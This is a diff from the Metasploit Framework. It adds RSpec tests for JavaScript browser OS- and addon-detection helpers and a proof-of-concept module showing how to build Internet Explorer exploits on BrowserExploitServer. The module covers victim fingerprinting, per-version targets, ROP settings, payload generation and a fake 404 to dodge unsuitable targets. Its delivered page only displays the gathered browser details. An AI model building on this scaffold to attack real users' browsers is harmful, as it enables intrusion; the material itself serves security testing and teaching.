js = Rex::Exploitation::Js::Detect.os.to_s
js.should =~ /window\.os_detect/
end
end
context ".addons" do
it "should load the Addons Detect javascript" do
js = Rex::Exploitation::Js::Detect.addons.to_s
js.should =~ /window\.addons_detect/
context ".ie_addons" do
it "should load the IE Addons detection in Javascript" do
js = Rex::Exploitation::Js::Detect.ie_addons.to_s
js.should =~ /window\.ie_addons_detect/
end
end
context ".misc_addons" do
it "should load the misc Addons detection in Javascript" do
js = Rex::Exploitation::Js::Detect.misc_addons.to_s
js.should =~ /window\.misc_addons_detect/
end
end

View File

@ -11,6 +11,14 @@ describe Rex::Exploitation::Js::Network do
end
end
context ".ajax_post" do
it "should load the postInfo javascript" do
js = Rex::Exploitation::Js::Network.ajax_post
js.should =~ /function postInfo/
end
end
end
end

View File

@ -0,0 +1,149 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
super(update_info(info,
'Name' => "IE Exploit for BrowserExploitServer Proof-of-Concept",
'Description' => %q{
Here's an example of building an exploit using the BrowserExploitServer.
This example requires the target to be exploit. If not, the mixin will
send a fake 404 as a way to avoid engaging the target. The example is
for Windows only.
},
'License' => MSF_LICENSE,
'Author' => [ 'sinn3r' ],
'References' =>
[
[ 'URL', 'http://metasploit.com' ]
],
'Platform' => 'win',
'BrowserRequirements' =>
{
:source => /script|headers/i,
#:clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}", # ShockwaveFlash.ShockwaveFlash.1
#:method => "LoadMovie",
:os_name => /win/i
},
'Targets' =>
[
[ 'Automatic', {} ],
[
'Windows XP with IE 8',
{
'os_flavor' => 'XP',
'ua_name' => 'MSIE',
'ua_ver' => '8.0',
'Rop' => true,
'Offset' => 0x100
}
],
[
'Windows 7 with IE 9',
{
'os_flavor' => '7',
'ua_name' => 'MSIE',
'ua_ver' => '9.0',
'Rop' => true,
'Offset' => 0x100
}
],
[
'Windows 7 with IE 10',
{
'os_flavor' => '7',
'ua_name' => 'MSIE',
'ua_ver' => '10.0',
'Rop' => true,
'Offset' => 0x100
}
]
],
'Payload' =>
{
'BadChars' => "\x00", #Our spray doesn't like null bytes
'StackAdjustment' => -3500
},
'Privileged' => false,
'DisclosureDate' => "Apr 1 2013",
'DefaultTarget' => 0))
end
#
# This example shows how to use ERB and being able to use the arguments and local vars
#
def exploit_template1(target_info, txt)
txt2 = "I can use local vars!"
template = %Q|
<% msg = "This page is generated by an exploit" %>
<%=msg%><br>
<%=txt%><br>
<%=txt2%><br>
<p></p>
Data gathered from source: #{target_info[:source]}<br>
OS name: #{target_info[:os_name]}<br>
Flavor: #{target_info[:os_flavor]}<br>
UA name: #{target_info[:ua_name]}<br>
UA version: #{target_info[:ua_ver]}<br>
Java version: #{target_info[:java]}<br>
Office version: #{target_info[:office]}
|
return template, binding()
end
#
# This example shows how to generate an ERB template without passing binding
#
def exploit_template2(target_info)
%Q|
<% msg = "This page is generated by an exploit" %>
<%=msg%><br>
<p></p>
Data gathered from source: #{target_info[:source]}<br>
OS name: #{target_info[:os_name]}<br>
Flavor: #{target_info[:os_flavor]}<br>
UA name: #{target_info[:ua_name]}<br>
UA version: #{target_info[:ua_ver]}<br>
Java version: #{target_info[:java]}<br>
Office version: #{target_info[:office]}
|
end
def on_request_exploit(cli, request, target_info)
print_debug("Target selected: #{get_target.name}")
print_line(Rex::Text.to_hex_dump([rop_junk].pack("V*")))
print_line(Rex::Text.to_hex_dump([rop_nop].pack("V*")))
p = get_payload(cli, target_info)
vprint_line(Rex::Text.to_hex_dump(p))
print_status("Sending exploit HTML...")
# Randomly pick a template to test
if [true, false].sample
txt = "I can pass more args"
send_exploit_html(cli, exploit_template1(target_info, txt))
else
send_exploit_html(cli, exploit_template2(target_info))
end
end
def exploit
super
end
end
=begin
Example of raw target_info:
{:source=>"script", :os_name=>"Microsoft Windows", :os_flavor=>"XP", :ua_name=>"MSIE", :ua_ver=>"8.0", :arch=>"x86", :office=>"null", :proxy=>false, :language=>"en-us", :tried=>true}
=end